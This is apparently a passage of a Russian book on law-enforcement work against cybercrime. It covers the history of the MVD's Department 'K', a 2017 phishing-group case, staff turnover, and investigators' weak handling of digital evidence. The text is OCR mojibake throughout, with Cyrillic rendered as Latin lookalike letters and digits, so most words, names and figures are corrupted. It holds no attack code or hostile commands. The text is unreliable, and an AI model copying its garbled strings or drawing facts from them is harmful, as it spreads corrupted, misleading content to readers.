KPUTUKOB He pa3obpaTh CTAHOBUTCS peayibHbIX (DAKTOB. B CBSI3M C ueM
aBTOpP CUMTaeT CBOMM JIOJITOM 3aBEPUTb, UYTO CETOMHS Y ITpaBOOXpPaHM-
TeJIbHOM CUCTeMbl Hallleii CTpaHbl eCTh BCe BO3MOKHOCTU JJIs1 pPaCKpbI-



MMPABOOXPAHUTENIbHAS CUCTEMA 169

—————————————

TUSI KUOEPIIPECTYIIEHM JIF000Vi CJIOKHOCTH, MMEIOTCSI JIJIsSI 9TOro abco-
JIIOTHO BCe MHCTPYMEHTHI, He YCTYIIaIoIye CIIelcTysk6am 10001 Apyroi
CTpaHbl MUpA.

HesatenbHocTb @Cb Poccuy B 3TOM KHUTE HEe pacCMaTPUBAETCS, TIOTO-
MY Kak, B OTJIMUMe OT IOAUIMUM, MUCCHUSI 3TOI CJTy>KObI Oosiee riiobaibHa
Y COCpeoTOUYeHa Ha obecrieueHMy 6e30I1acHOCTY CTpaHbl — Poccuiickoii
Qenepauyun.

HemHoro ucropumn.

B 1997 romy BCTyInuiI B CMJTy HOBBIN YTOJIOBHBIN KogeKe PO, comepika-
it rmaBy 28 «[IpectyrieHnst B cpepe KOMITbIOTEPHOM MHPOPMALIAN»,
1 yke B 1998 rogy B cucreme MBJI Poccum 6110 co3maHo YiIpaB/ieHue
1o 60pnbe ¢ mpecTymieHusIMu B cdhepe BbICOKMX TexHooruii (YBIICBT
MBI, Poccun). B 2001 romgy YiipaBjaeHue 1o 60pb0e ¢ mpecTyIrIeHUsIMA
B c(hepe BbICOKMX TEXHOJIOTHIT ObIIO peopraHn30BaHO B YipaBeHue «K»,
KOTOPOE CYILECTBYET U I0 CeVi IEeHb.

C Toro camoro BpeMenu Iepen, MBI 6bly1a mocTaBjieHa 3ajada I10
OCYILIECTBJIEHMIO B TIOTHOM OObeMe OIepaTMBHO-PO3BICKHONM esiTelb-
HOCTMU 110 60pb0e C IIPeCcTyIIeHUSIMU B chpepe BHICOKUX TEXHOJIOTMIA.

Vrnpasnenue «K» BXoOUT B cocTaB BOpo CrienuyuagibHbIX TEXHUYECKUX
Meponpusituit MBI, Poccun. B 2017 romy, kctaTtu, 19 oKTSIOPST MCITOIHM-
JIoch 25 J1eT co AHS co3maHus YHUKAAbHOM CTPYKTYpPhI B cucteMme MBI
Poccun — Bropo crienMajibHbIX TEXHUYECKUX MePOIIPUSITUIA.

Corpyguuku YrpasieHus «K» nepseimu B Poccum Havyaii HAaBOOUTD
MopsANOK B ceT HTepHeT. YCuausamMmu COTPYAHUKOB YripaBiaeHust «K»
BCTM MB/I Poccun Havyaauch mepBbie MOCAAKM IMOJOHKOB, HE TOJIbKO
pacIpoCTpaHsIIMX TopHOrpaduyecke MaTepuasibl ¢ M300pakeHMsI -
MM HeCOBepIIEeHHOJMeTHUX B ceTy VIHTepHeT, HO U 3aHMMAaIOIINXCS CKIIO-
HEHMEeM MaJIOJIeTHUX K OKa3aHUIO CEKCyaabHbIX YCIIVT.

CoTtpynHukamu YiipasieHUs «K» TOKyMeHTUPOBAIMCh IIepPBbIe Mpe-
CTYIUIEHMUSI, CBSI3aHHbIE C CO3JaHMEM M UCII0JIb30BAaHMEM BpeOOHOC-
HBIX IIPOrpaMM M HeIllpaBOMEPHBIM JOCTYIIOM K KOMIIbIOTEPHOI MH-
dbopmarun.

OdeHp YacToO CJIy4asa0Ch TaK, UYTO COTPYAHUKM YIipaBiieHUs: «K» rpu-
e33KaJi B IPOKYypaTypy, Ile COBMECTHO C MPeACTaBUTENSIMU CJIeACTBUS,
KaK T'OBOPUTCS, «C OYOHOM B pyKax», ITyTeM «IIpe3eHTalMii», u300paske-
HUSI CXeM U PaCTOJIKOBbIBAsI TEPMUHOJIOTHIO, OOBSICHSIIN TIPECTYITHOCTh
TeX MM VHBIX IEeSTHUI XaKepoB M KMOePMOIIEHHUKOB, KOTOPbIX ITOHA-
YyaJly HUKTO He IMPUHMUMAaJI BCepbes.
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ABTOp ITOMHMUT, KaK OAVH U3 PyYKOBOJAUTENIEN PerMOHalIbHOM IIPOKypa-
TYpbl, pACCMOTpPEB MpeaoCcTaB/JIeHHble MaTepuabl OIlepaTMBHO-PO3bICK-
HOI JesITeJIbHOCTU B OTHOLIEHUU 3/I0YMBbIILIEHHMKA, OCYIeCTBJISIBIIETO
PacChbUIKY BPeIOHOCHBIX ITPOrpamMm, 3aBuii: «Hy 1 UTO, y MEHSI BHYK TOXe
BCSIKVE TPOrpaMMbl CKauuBaeT B IHTepHeTe, OH YTO, TOXKEe TIPECTYITHUK?»

OnuH 13 3HAKOMBIX aBTOpa CpaBHMBAJ TOTHALIHIOK paboTy COTPY/I-
HMKOB YIIpaBjieHMs ¢ paboToJi IMPOAABIIOB IThIJIECOCOB, IIOTOMY UTO CO-
TPYOHUKY TO/DKHBI ObUIM BBISIBUTDH KMOEePIIpeCcTyIIHMKA, YOeIuTb PyKo-
BOJICTBO B 11€JIeCO00PA3HOCTY MepPOIPUSITUIL, YOeIUTh CJIeACTBEHHbIE
OpraHbl, YTO IOJIyUeHHbIE€ Pe3yJbTaThl OMEPATUBHO-PO3BICKHON Jes-
TEJIbHOCTY LI€JIMKOM U ITOJTHOCTBIO YKa3bIBAIOT HA COBEPIIIEHNE KOMIIbIO-
TEPHOTO IPEeCTYIIEHNS, TIOTOM yOeIuTh ellle U MPOKypaTypy, KOTopas
IIOJITO ¥ YIIOPHO COMPOTUBIISIIACH, HE BUSI HOBBIX BUIOB MPECTYTIIeHUA.
Tak BOT U «BIIapMBaIn» CBOU «IbIJIECOCHI» COTPYAHUKM YIIpaBieHUs «K»
T10 BCeil cTpaHe, paboTast Ha SHTy3Ma3Me U OIlepCKOM a3apTe.

CoTpynHMKM YIIpaBaIeHMS CITPABJISIIOTCS C BO3JIOSKEHHO Ha HUX (PYHK-
11eit 60pbObI C MPECTYIUIEHUSIMU, COBEPIIaeMbIMMU C MCIIOTb30BaHMEM
TeJIeKOMMYHMKAI[MMOHHbBIX CeTei, KOMITbIOTEPHBIX TEXHOJOTUI U CIie-
IIMaJIbHBIX TEXHNYECKUX CPEICTB.

YnpasneHnue «K» BCTM MBJI, Poccun B HacTosiiee BpeMsi B OCHOBHOM
3aHMMaeTCsl BbISIBJIeHMEM, TIpeceyeHMeM U PacKpbITMEM C/IedyIOINX
rpecTyIvieHui (cM. puc. 4.1).

B kaxkmom cyobekTe Poccun ot Kanuauurpaga mo KamuaTku ecTb OT-
nen «K», KoTopblIii BBITTOHSIET BCe Te ke (PYHKINM, HO Ha perMoHaIbHOM
YPOBHE.

Vrpasnenne «K» B JTaHHOM c/Tydyae peliaeT Ipoosemy, SIBISTIOILYIOCS
XapaKTepHOJ 0COOEHHOCTHIO MPAKTUYECKM BCEX KOMITbIOTEPHBIX Ipe-
CTYIUIEHUIA, — HaJIM4Me Y HUX TPaHCTPAaHUYHOIO XapaKTepa.

[Tpectyrienne B chepe MHGOOPMAIMOHHBIX TEXHOJIOTUII MOKET Ha-
YaTbCsl B OAHOM peruoHe, TeXHUYeCKue orepauun MOryT IIPOBOAUTHLCS
IOCpeACTBOM ITPOrPaMMHOTI0 o6ecIieueHus ¥ KOMITbIOTEPHOT'O 060pY/I0-
BaHMsI, PacloJIOKeHHOTO B IPYyTOM permoHe, (pMHaHCOBbIe onepanum —
MIPOBOJUTBLCS B TPEThEM, a TPYIINa 3/I0YMbIIIIJIEHHMKOB MOKET pacrosia-
raThCsI BOOOIIe 110 pa3HbIM ropoaaM cyobeKkToB Poccuiickoit ®epepanyn
MJIU 3apyOEXKHBIM CTpaHaM.

OpHako HajaskeHHOe MeKperMoHaJbHOe B3auMOIeliCTBYe 1 B3alIMO-
BbIpyuka noapaspenennii «K» BCTM MB/I Poccun nmo3BonsitotT 3¢ dex-
TUBHO IMPOTUBOAEIICTBOBATh KOMIILIOTEPHBIM TPECTYTIEHUSIM JIFOO0TO
MaciiTaba.
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Puc. 4.1. [poguneHbie cmameu YnpasneHus «K»
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ITocrosiHHas pabora B MBI Poccuu BefieTcsl 1 110 BOIIPOCaM MeKayHa-
POJIHOTO B3aMMO/ECTBMS C aHAIOTMUHBIMMU CITel[MaTbHbIMU CTy>KOaMMU.

CerogHst Bopo crienyaabHbIX TEXHUYECKMX MepOIpUsITHii 061agaeT
COBpPeMEHHOJi MaTepuaJbHO-TeXHUUYECKOW 6a30i ¥ BbICOKOKBaIMUbM-
UMpoBaHHbIMM Kajgpamu. Co3gaHue Takoi CTPYKTYpPbl MMEIO CBOEBpe-
MeHHbIN XapakTep U ObUIO OTBETOM Ha BO3pacCTalIlyl0 yrpo3y Kubep-
npecTyrHocTy. [TepexkuB MacirTabHbie pehOpMUPOBAHMS BCEI CUCTEMBI
opraHoB BHYTpeHHUX Aen Poccuiickoit ®enepaiinm, 3Ta CTPyKTypa 3¢-
(ekTMBHO paboTaeT U MPOJOKAET Pa3BMUBATHC.

3a BpeMs cyliecTBoBaHMS YrpasiieHus «K» Biopo crelnmaibHbIX TeX-
HUYECKUX MepOonpusITUii BO3IJIaBJISII reHepal-nonKoBHMUK bopuc Hu-
kosnaesu4 MupomHukos ¢ 2001 o 2011 rog, a ¢ 2011-ro 1o HacTosIee
BpeMs BO3IVIABJISIET reHepan-maiop noauuum Anexkceir HukomaeBuu
Mouikos.

M3HavaapbHO pabora OblIa OpraHM30BaHa IMPAaBUIbLHO, U OTIIPABHOI
TOUKO¥ ObUIM IMOHMMAaHMe HOBBIX MH(OPMAIMOHHBIX TEXHOJIOTU, ITO-
MCK, 0000IIeHe 1 aHAIMU3 ONepaTUBHON MHGOPMAIMY, MOHUTOPVHT
MIPeCTYIHOM MHPOPMALIMOHHON Cpeibl.

CraHoBieHMe YiipaBjieHUs1 1 Bopo B 1ieJIoM ITPOMCXOAWI0 Ha GoHe
HeCcoBepIIeHCTBA HOPMAaTUBHO-IIPaBOBOI 6a3bl ¥ OTCYTCTBMS KBaIUPM-
LMPOBaHHBIX KaJPOB.

IoJKHO GBIIO TIPOITY BpeMsl, UTOObI B PeTMOHAX U B LIEHTPATbHOM
anmnapate YrapanieHus «K» Hauan GopmMupoBaThCsi KOCTSIK OlepaTUBHM-
KOB, CITOCOOHBIX KAUYE€CTBEHHO paccaefoBaTh MPeCTyIIeHNs B MHGOpMa-
I[MIOHHO-TeJIeKOMMYHUKAIMOHHO cdepe, HAXOOUTb CIIOCOObI BBISIBIISITD
MPECTYITHUKOB U UX TPYIIIbI, TPAMOTHO JOKYMEHTUPOBATD CJIebl Ipe-
CTYIJIEHUIA, paboTaTh Ha OIepeskeHye U MpeceKaTb He3aKOHHYIO JIesi-
TeJIbHOCTb.

[Tocne hbopmupoBaHMs ONBITHOTO COCTaBa OMepaTUMBHUKOB TaKye Co-
TPYOIHUKM MOIJIM YK€ MepenaBaTh CBOW OIBIT MPUXOOSIIMM MOJIOAbIM
KaJpaM WJIM COTPYAHMKaM, MepeuesmnumM U3 OPYruX MoapasaeneHnin
cucteMmbl MBI, Poccuu.

B mocnenHue ToAbl peryiasipHO MPOMCXOAST MaciiTabHble 3aJepsKa-
HMSI TIPECTYIHBIX IPYIII, COBEPIIAOIIMX MPeCTyIIeHns B MHdopmaiu-
OHHO-TeJIeKOMMYHMKALIMOHHOV cdhepe. CrieluaauCTbl OCYIIeCTBISIOT
rTy60KMe paspaboTKy, HECMOTPS Ha MCIIO/Ib3yeMble MPeCcTyITHUKaMMU
MEeTOZbI COKPBITHUS C/IeOB, CPEACTBA CBSI3M M aHOHMMHbIE MHCTPYMEHTHI
yIipaBjieHus GuHaAHCAMMU.
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K npumepy, B 2017 rony corpyguukamu 41-ro otaena YopasieHus «K»
BCTM MB]I, Poccuu B pe3y/bTaTe IoJIyTOpParofgoBoii paboThl yIaaI0Ch BbI-
YUCIUTD OPTaHM30BAHHYIO TPYIIITY XaKePOB, OCYIECTBUBIINX HECKOIBKO
TBICSIY B3JIOMOB 3JIEKTPOHHBIX aKKayHTOB.

HesaTenbHOCTb 3TOM TPYIIIIbI OCyllecTBsaach ¢ 2013 roga, 1 >xeprBa-
MM KMOePIPeCTYITHUKOB CTAHOBMUJIMCDH 3JIEKTPOHHBIE TIJIATESKHbIE CHCTe-
Mbl, 6aHKM U IOpUAMUECcKue JIulia.

VY4aCTHUKM 3TOV TPYIIITBI IIPY IOMOILIM BPeOOHOCHOTO MTPOrPaMMHOTIO
obecrieyeHMsT OCYIIECTBIISIIM HEITPaBOMEPHbBI JOCTYIT K KOMITbIOTEp-
HOJi MHbOpMaluK, TepcoOHaTbHbIM JaHHbIM I10Ib30BaTeell pa3JInyHbIX
cepBuUCOB ceTu VIHTepHeT, Ioc/ie 4ero CoBepiiai MOIIeHHUYeCKue aei-
CTBUSI, CBSI3aHHbIE C XUILEHNEM JeHEKHbIX CPEICTB.

Bce aTaku HaUMHAIUCh C IPOBEHEHMS] XOPOIIO ITPOAYMAaHHbBIX 11efie-
HarpaB/ieHHbIX (PUIIMHT-aTaK. ATaky MPOMU3BOAMINCH U3 Pa3IUUHBIX
CTpaH, MPU HENOCPeICTBEHHOM BbIe3/ie UJIeHOB MPEeCTYITHOW TPYIIbI,
a TaxKe MOCPeACTBOM MCIONb30BaHMS CEMaJIU3UPOBAHHOTO IPO-
IrPaMMHOI0 00ecIieuyeHMsT ¥ TEeXHOJIOTUII COKPBITUSI CBOETO PeaJbHOTO
MeCTOIOJIOKEHMSI.

B Hauasne 2017 roma Ynpasinenuem «K» BCTM MB]I, Poccun B pe3yib-
TaTe MpOBeJeHMs KOMIUIEKCA ONepaTUBHO-PO3bICKHBIX MepPOIIPUSTUI
" (JIeICTBEHHBIX JIeICTBUI ObIM YCTAHOBJIEHbI BCe YUaCTHUKY OpTaHu-
30BaHHOI TPYIIIIbI.

[ToyyeHHbIe JaHHbIE YKa3bIBaIM HA NMPUYACTHOCTh YCTAHOBJIEHHbBIX
JIUIL K UCIOJIb30BAHMIO GoJsiee ThICSIYM (QUINMHTOBBIX CAiTOB, IIpegHa-
3HAUYEHHBIX [IJISI XUIIEeHUS TTapoJieli U MepCOHANbHBIX JaHHBIX M10JIb30-
BaTeJiell pa3JIMUHbIX CEPBUCOB CeTu MHTepHeT.

3azepskaHue MPeCcTyITHMKOB OCYIIeCTBIISVIOCh COTPYIHMKAMM YIIpaB-
nenus «K» BCTM MBI Poccuu coBmecTHO ¢ coTpyauukamu MY MBJI
Poccun «Pamenckoe», OMOH «3VBP» IICH Pocreapauu, a Takke oTae-
oM «K» BCTM I'Y MBI, Poccuu 110 Psg3aHcKoit 06/1acTu.

O61IuMi1 yirep6 OT UX IPECTYITHO eI TeIbHOCTY OLIeHMBAETCSI CBBIIIIE
500 muH py6seii. YUaCcTHMKAM I'PYIIIbI ObLIM IIPeIbsIBIAeHbI OOBMHEHMS
1o cT. 159.6 n 273 YK P®.

B Hacrosiee Bpems B YiipaBiaenuu «K» BCTM MBI Poccun, Kak 1 BO
BCeX perMoHa/IbHbIX oTaenax «K», ecTb Xopoliye crielaancTbl, HO pa3-
JnuuHble (GaKTOpbl, CBSI3aHHbIE M C OPTaHM3alMOHHON YacTbhio, U ¢ Gu-
HAHCOBOJA, 3aCTaBJISIOT CIELMAINCTOB EPEXOAUTD «Ha TPAKIAHKY». VX
TPYAHO BUHUTb, paboTa B KOMMepPYEeCKMX CTPYKTypax MPUHOCUT CTa-
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OMJIbHBIN, B pa3bl MPEeBBIIIAIONINI OKIafd coTpyaHuka MBI P® moxon
MX CEMbSIM ¥ B TO XK€ BpeMsI He TPOOUT HeOOpaTUMO UX 3I0POBbE U He
HaK/IaJbIBAaeT KaKUX-TMO0 OrpaHMUEHMI, CBSI3aHHBIX CO CITY3KOOIA.

OrmbIT, KOTOPHIM 00JIAAIOT OTIePATUBHbBIE COTPYAHMUKIU ITUX MMOAPA3-
IeJeHNi, TTO3BOJISIeT UM OBITh JIYUIIMMM U3 JYYIINX Kak B cepe MH-
dhopMalMOHHOI 6e301acCHOCTHM, TaK U B cepe SKOHOMMUUECKOI 6e3011ac-
HOCTH.

Be3ycioBHO, He KO BCeEM PYKOBOAMUTEJSIM M COTPYAHMKAM 3TO OTHO-
cutcsl, nonagarwTcs B YipasieHuun «K» BCTM MBI, Poccun u oTkpo-
BEHHO JiepeBsHHbIe ¥ MOpa/ibHble YpOIbl, He TTOHUMaIye, IJe OHU
HaXOMSITCS U 3a4eM CIofia MOTan.

Kak ropopun B. H. MupomnukosB: «JIuuusa “K” paboraer B yenoBe-
YyecKoit cpefie CO BCeMM TrpexaMu, rpsisbio U mopokamu. K coskaneHuto,
BpeMsl OT BpeMeH! B ee pSbl MMOMNajaloT CIydyaiiHble JIIOOU, UITyIue
JIETKUX TT06€e[T MM JIETKUX JIeHer, HAaHOCSIMe G0JbIION YPOH MPeCTIKY
60JIBIIIOTO rOCYIaPCTBEHHOTO Jeax.

MaJsio moCTpOUTb XOpOIInii KOpabsib 1 JaTh eMy Jlep3Koe Ha3BaHMe.
Kopabs1to Hy>KHbI OTIBITHBIN KallUTaH M Xopolas KomaHaa. HemomycTu-
MOCTb TEKyUeCT) KaJpoB B TAKOM ITOApa3AeIeHMN U co3IaHme paboueii
aTmMocdepbl SBJSIOTCS 3a7I0TOM ycIlexa.

HacTtosimuit pocT KOMITbIOTEPHBIX MPECTYIUIEHMII U KubepuIoHa-
kKa elre BIlepeny, M IoKa MeJIKye TMPecTyIvIeHusT 00peTaloT MacCOBBIN
" IaXke OOBIIEHHBIN XapaKTep, OpraHM30BaHHbIE MMPECTYITHbIE TPYIIIIbI
BKJIQJbIBAIOT OOJIbIIIMe (DMHAHCOBBIE CPECTBA, IPUBJIEKAIOT K ITPeCTyII-
HOJi IesiTeTbHOCTY Cepbe3HbIX TEXHUUYECKUX CIelaauCcToB, AJis1 KOTO-
PBIX CO3JAI0TCSI BCe HEOOXOAMMble YCI0BMSI paboThl. PazpabaThiBaloTcs
" MOIVMUIIMPYIOTCSI BpeIOHOCHbIE TTPOTPaMMbl, OPTaHU3YIOTCSI KOMOM-
HMPOBAHHbBIE KMOepaTaky Kak C LeJbI0 XUIIEHUS TeHeKHbIX CPeACTB,
TakK ¥ C LIeJIbI0 MIAHTaXXa M BbIMOTaTeNbcTBa. KnbepinmoHaxk paciiBe-
TaeT KaK OJ/H M3 HOBBIX BUIOB IIPECTYITHOM JesITeTbHOCTH, & IPUYMHbI
3/1eChb y3Ke pacCMaTpUBAINCD.

Bo3smoskHO, uTo YrpaBnenue «K» u bBCTM MBI, Poccun sxnyT HOBbIe
pedopMbl, AMKTYeMble POCTOM UMCIa M Pa3HOOOPa3Mst KOMITbIOTEPHBIX
MpecTyIlJIeHi i, HO He TOJIbKO BIopo crieljaibHbIX TEXHUUECKUX Mepo-
npusiTuii B cucteme MBI Poccuy BefeT 60pb0y ¢ KMOEPIIPeCTYITHOCTBIO.

CTOUT OTMETUTD, UTO B HACTOSIIIIee BpeMsl HabupalT 060POThI He-
IABHO CO3[IaHHbIe B COCTaBe YTOJOBHOTrO pO3bIiCKa MOZApa3aeneHus
1o 60pbbe ¢ KOMIbIOTEPHBIMYU MPECTYIUIEHUSIMU. B yacTHOCTH, Ha-
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CKOJIBKO OCBeZJOMJIEH aBTOP, Takue mogpasaeneHns QyHKIMOHUPYIOT
B YIIpaBJ/ieHMM YyroJ0oBHOro po3bicka MBI Poccum m1 MOCKOBCKOM yro-
JIOBHOM poO3bicKe. I 3Tu moapasaeneHus yske MOKa3bIBalOT XOpOIne
pes3ynbTaThl.

[Ipucyiiasi yroJIOBHOMY PO3bICKY OTIepaTMBHOCTb BO BCEM KaK HeJlb3s1
KCTaTyu OyeT BOCTpeOoBaHa IpU PaCKPbITUY KMOePIIpeCcTyIIJIeHNI, KOT-
Ila HEKOTOpbIe MOMEHTbI HepPaCTOPOITHOCTY MOTYT ITPUBOIUTD K ITOTEpe
IoKa3aTe/bHOM 6a3bl U 11eJ1eCO00Pa3HOCTM CaMUX IeCTBUIA.

MOKHO C/ierio pyraTh IpaBOOXpPaHUTENbHYIO CUCTEMY, C1abo pa3ou-
pasicb B OIlepaTUMBHO-PO3bICKHOI JIesITeTbHOCTY U YTOJIOBHO-IIPOIlec-
CyaJIbHOM 3aKOHOAATeNIbCTBE, OAHAKO, TTIOBEpbTe, NeliCTBUTEIbHOCTD
TOJIHA KOJUTM3UI U TIapafioKCOB, ¥ CUTYyaIMUsI B 3TOI cdepe ropasio Tsi-
kejiee, 4eM 3TO KaskeTCsl Ha TepPBbIit B3IVISI.

KaptuHa mpencTaBieHus o Tex cepax sKM3HU, KOTOPbIE UETOBEKY
HEeJIOCTYITHbI, YaCTO CK/IaIbIBAETCS IO/, BIAUSIHMEM XYI0KEeCTBEHHOM JTN-
TepaTypbl, KMHOCIOXKETOB U CIjieTeH. M0o3r 3alloMMHaeT sIpKue U yalie
He COBCeM IpUJIMUHbBIe Bely, YK TaK OH YCTPOEH.

Tem He MeHee KaXKIblii JeHb OOJbIIOE KOJIMYECTBO UECTHBIX, MTOPSI-
IOYHBIX M TPAMOTHBIX COTPYIHMKOB MPaBOOXPAHUTE/NbHBIX OPTaHOB
Poccuyt UCITOMHSIET CBOJA TOJIT TOJIBKO IIOTOMY, UTO BEpHBI CBOEMY CJIOBY,
BEPHbI CBOUM YOEKIEeHUSIM.

4.2. HekoTopble HaunoHanbHble 0CO6EHHOCTU 6OPbLObLI

C KubepnpecrtynieHmsamMu

Korma mpecTyIiHble AeiiCTBUS 3JI0YMbIIIIEHHMKOB KacaloTCs PU3UIeCKUX
VIV IOPUINYECKUX JIUI], HE BCE aIeKBATHO MOTYT OTHOCUTBCS K TIPOYC-
XOJSIIEMY U 3a4acCTyIO IPMHUMAIOT HEBEPHbIE PellleHNs, BeAYyIIe K I10-
Tepe BO3MOKHOCTE! HaKa3aTh BUHOBHBIX ¥ KOMIIEHCHPOBATh yIlepo.

O mpousonieieM Ku6epIpecTyIyieHUy B TPaBOOXPaHUTETbHbIE OP-
raHbl OGBIYHO COOBIIAeT CaM ITOTePIIEeBIINIT UK eT0 IIPeCTaBUTENb.

C6op mokaszaTesibHOM 6a3bl 10 KOMITbIOTEPHBIM ITPECTYIIJIEHUSIM Jie-
SKUT IETMKOM ¥ TTOJTHOCTbIO Ha COTPYAHMKAX OIMEePaTUBHBIX MOJApa3-
IeJIeHuit — OIepyIoJTHOMOYEHHbIX. IMEHHO OT KauecTBa MpencTaBiisie-
MBbIX B CJIEICTBEHHbIE OPTaHbl MaTEPUAJIOB, COMEPKAIINX PE3YIbTaThl
OTepaTUMBHO-PO3BICKHOI MeATeTbHOCTY, 3aBUCUT Cyb0a MOTePIEeBIINX
U KYJIMKOB.
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dopmasibHasl 4yacCThb, OTBeUawiasl 3a TO, KaK AOJKHBI BBITSIETH
pesynbTathl OPII, mpegycmaTpuBaercs nmpukasom! «06 yTBepKIEeHUN
WHCTpyKUMM O MOpsiiKe NpeACTaBIeHUs] pe3yabTaTOB OlEePaTUBHO-PO-
3BICKHOV AeITeIbHOCTM OpraHy JO3HaHMs, CJIefOBaTeI0 UK B Cyd» OT
27.09.2013.

Iist cbopa JOCTATOUHBIX JaHHBIX O COBEPIIEHHOM MpPEeCTYIJIEHUN
y OIepaTUBHMKOB €CTh B apceHasle MITHAAaTh BULOB ONlepaTUBHO-PO-
3BICKHBIX MEPOMPUITUI, TPeLyCMOTPEHHbIX PefepasibHbIM 3aKOHOM OT
12.08.1995 N2 144-®3 (pen. ot 06.07.2016) «O6 orepaTMBHO-PO3BICKHOI
IesITeIbHOCTU».

VKa3aHHBIMM BUAAMU OIIEPATUBHO-PO3BICKHBIX MEPOTIPUSITUIA, U HU-
KaKVMMMU APYTUMU, TO/DKHBI 3aHUMAThCSI COTPYIHUKM [TPABOOXPAHUTEIb-
HbIX OPraHOB IIPU BBISIBJIEHUU, NIPEAYIIPEKIEHNN, IPeCeYeHn U pac-
KPBITUM MIPECTYIUIEHUI U JIULI, UX COBEPIIMBIINX.

Kak-To aBTOpY, aOCOMIIOTHO He 110 CBOEe¥ BOJIe, ITPUIIIOCH OBITh pelreH-
3€HTOM HAy4YHOI CTaTbM, MOCBSIIEHHON OMepaTUBHO-PO3bICKHBIM Me-
POTIPUSITUSIM TI0 PACKPBITUIO Tele(pOHHBIX MOIlIeHHUYeCTB. B mpoiiecce
peLieH3MPOBaHM IPUILLJIO OCO3HAHME TOTO, YTO He TOJBKO rpaskgaHCKe
JIN1IA, HO ¥ COTPYAHMKY CUCTEMbI HE MMEIOT ITPeICTaBIeHNSI 00 aITOPUT-
Me IeiicTBUIi KMOepIIPeCcTYITHMKOB U C TPYAOM BJIa€I0T TEPMUHOJIOTMEN.
Tem He MeHee TaKue COTPYIHMUKM TOTYYalOT BBICOKME yUEeHbIe 3BAHMUS,
MpenojaioT U pa3pabaThIBalOT METOAMKM M HAaCTaBJIeHUs O MOBefeHU!
OIEepPYNOJTHOMOYEHHbBIX MPU BBISIBJIEHUM U PACKPBITUM MPECTYIIEHUIA
B MHDOPMAaIIMOHHO-TeJIeKOMMYHUKALIMOHHOI cdepe.

[loHMaHMe NOPOJ OrpaHMUMBAETCS MepenuCbIBAaHUEM CTapbIX MH-
CTPYKLMI1I HA HOBBIN JIa[, C U3MEHEHMEM CJIOBOCOYETAHUN «II0OYTOBOE
OTIIpaBJ/ieHMe» Ha «3JeKTPOHHOe coobieHue». [Ipy aToM He GepeTcs
B pacyeT TOT ()akT, UTO MUCIOAb30BaHMEe COBpeMeHHbIX MHGOPMalMOH-
HbIX TEXHOJIOTUI TTOPOAMIIO COBEPIIEHHO HOBBIN IMJIACT KPMMMUHATIBbHON
Cpelpbl.

K coxxaneHuio, BO BCexX MoApasaeeHnsIX IIPaBOOXPaHUTENbHON CH-
CTeMbl BCTPEYaIOTCSl COTPYAHUKM C OTCYTCTBMEM 3HaHMUII 0 cOope 10-

I TIpmkas MBI, Poccun N2 776, Muno6oponsl Poccun N2 703, ®CB Poccum N2 509,
®CO Poccum N2 507, @TC Poccum N2 1820, CBP Poccum N2 42, ®CUH Poccum N2 535,
®CKH Poccun N2 398, CK Poccuu N2 68 ot 27.09.2013 «O6 yTBepskmeHny VHCTPYK-
MY O TIOPSIAKE TIPEeACTAaBIeHUST Pe3Y/IbTATOB OMEePaTUBHO-PO3BICKHON AesTeTbHO-
CTY OpraHy AO3HaHMsI, CJIENOBATENII0 WIM B Cyd» (3aperucTpMpoBaHO B MUMHIOCTe
Poccum 05.12.2013 N2 30544).
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Ka3aTelbHOM 6a3bl U (puKcaIMM CJieJOB KOMITbIOTEPHOTO MTPECTYTUIEHUS
M PYKOBOIMTEJM, He TIOHMMAIOIIVe TeHIEeHI[M1, CO COUTHIM BEKTOPOM
I BVKEHUSI.

Xopoias kuura H. H. ®egoroBa «DopeH3MKa — KOMITbIOTepHAsT KpU-
MMUHAIUCTUKA» CITYCTS JECSTh JIET MOC/Ie BbIXOJa MaJio KOMY M3BeCTHA
n3 tex, komy H. H. ®enoToB ee oueHb COBETOBAJI MIPOYNTATh, & UMEHHO
MIPUBOXY M3 KHUTU: OIlepaTUBHbIE COTPYIHUKU IMPABOOXPAHUTETbHBIX
OpTraHOB, CJIEIOBATENN, SKCIIEPTHI, CyAbM, TOCYAapCTBEHHbIE OOBMHUTE-
JIV, aJBOKATBI, CTYAEHTHI OPUANUECKUX CIELMaTbHOCTeN, pabOTHUKI
Ty3K0 MHMDOPMALIMOHHOM 6€30I1acHOCTH, ITPaBO3alUTHUKMA.

CriycTs roAbl IPUXOAUTCS PEryasipHO BCTPEUYaThCs JUILOM K JIUILY
C TIpeJiCTaBUTENSIMM yKa3aHHBbIX IMpodeccuii mpu pacciefoBaHUU
KOMIIBIOTEPHBIX MPECTYIVIEHUIT U NULe3PeTh TYMAHHOCTM BMECTO I10-
HMMaHMs TIPOUCXOISIIEro, KaK, 3HaeTe, ObIBaeT B HU3MHE HAJ pPeKoii
pPaHHUM yTPOM.

[IpUXOOUTCS KOHCTATUPOBATh, YTO Ha (hOHE BeTMKOJIEN NS TEXHUYeCKIUX
IOCTVI>KEHUIA, K IIPUMEPY TOM JKe MPeC/IOBYTOM CUCTEMBbI IVCTAaHLMOHHOTO
6aHKOBCKOT'0 0O6CTY>KMBaHMsI, 3aKOHOAATEIBCTBO 1 ITPABOOXPAHUTETbHAS
cucTeMa HEMHOTO 3aI1a3/IbIBAIOT C BIPaOOTKO 3 (PEKTUBHBIX AEIICTBUIA.

ABTOpPY MO 3TOMY CIy4al0 BCIIOMMHAETCS 3MM30[ U3 CTapoii Kome-
o «OguH goma-2: IloTepsiHHBIN B Hb}0—1710p1<e». Pooutenu KeBuHa,
npuieteB Bo ®iopuay M 00HApYKUB IIPOIaXKy pebeHKa, CUIAT Y 10-
JIULIEIICKOTO... [Tonuieiickuii IIpoCUT poauTesieii mpeaocTaBUTh (GOTo
MaJibuMKa. B rmpoliecce o6Hapy>kKMBaeTCs, UTo OyMaskHMK ¢ hoTorpadueii
" KpeIUTHBIMM KapTamu — y npornasiiero Kesuna. [Tocie sToro ciegyet
dbpasza nonuiieiickoro «Mbl TIpegynpenum KpeauTHble KoMmaHuu. Ecin
y Balllero CbIHA €CTh KpeAUTHbIE KaPThI... Mbl CMOXEM YCTAHOBUTDb €ro
MeCTOHAXOXIeHNe, eIy OH BOCIOIb3yeTcsl uMu». 3To 1992 rog.

Kak sTo pa6otaet B Poccuu 2017 roga?

B03MOXXHOCTb HaIlpaBJeHUS 3alpoca B 3JIEKTPOHHYIO MJIaTEXHYIO
CUCTeMY WM OaHK OCYIIeCTBIISIETCSI B COOTBETCTBUM C OTIepaTUBHO-PO-
3bICKHBIM MEPOIPUSITUEM «HaBeAeHMEe CIIPABOK» U IPOBOAUTCS B COOT-
